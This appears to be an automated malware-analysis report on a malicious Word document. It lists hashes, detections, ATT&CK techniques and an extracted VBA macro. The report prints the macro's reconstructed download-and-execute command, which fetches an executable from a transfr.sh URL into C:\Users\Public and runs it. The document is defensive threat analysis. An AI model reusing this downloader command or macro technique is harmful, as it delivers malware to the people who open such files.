Office (OLE) / .DOC malware analysis — malicious · b3c1d51c200dbbee

MALICIOUS

Office (OLE) / .DOC

191.0 KB Created: 2023-09-06 23:26:00 Authoring application: Microsoft Office Word First seen: 2023-09-07

MD5: bd510e656df192f3d66e618420c28541 SHA-1: 3c182df9984f9636ff1e6f799e679542da72e648 SHA-256: b3c1d51c200dbbeea2ebeacdce3cb1b70fec80bdf8042f177cd152cbe595677a

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The Document_Open macro in the VBA script is designed to execute a command. This command reconstructs to 'cmd /c powershell /W 01 curl https://transfr.sh/grt/IGU4fLI4D/aruy.exe -o C:\Users\Public\swrxd.exe; C:\Users\Public\swrxd.exe', which downloads a file named 'aruy.exe' to 'C:\Users\Public\swrxd.exe' and then executes it. This indicates a downloader functionality.

Heuristics 7

ClamAV: Doc.Malware.Valyria-10008067-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10008067-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
GetObject call high OLE_VBA_GETOBJ

GetObject call
cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `3dd5a86b5146cc374aa4b8c8efeaf792b355c0fb2853f20dcaa7ddb304428092`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	884 bytes

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